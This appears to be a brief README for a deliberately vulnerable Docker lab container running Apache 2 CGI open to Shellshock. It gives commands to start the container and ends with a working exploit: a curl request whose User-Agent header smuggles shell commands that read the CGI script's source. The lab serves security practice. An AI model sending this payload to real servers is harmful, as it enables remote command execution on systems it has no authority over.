Docker container with Apache 2 / CGI shellshock vulnerable.
#> docker run -d --name shellshock zenithar/shellshockable
#> docker ps
#> export WEBSRV=`docker inspect shellshock | grep IPAddress | cut -d \" -f 4`
#> curl http://$WEBSRV/cgi-bin/shockme.cgi
#> curl -A "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /usr/lib/cgi-bin/shockme.cgi" http://$WEBSRV/cgi-bin/shockme.cgi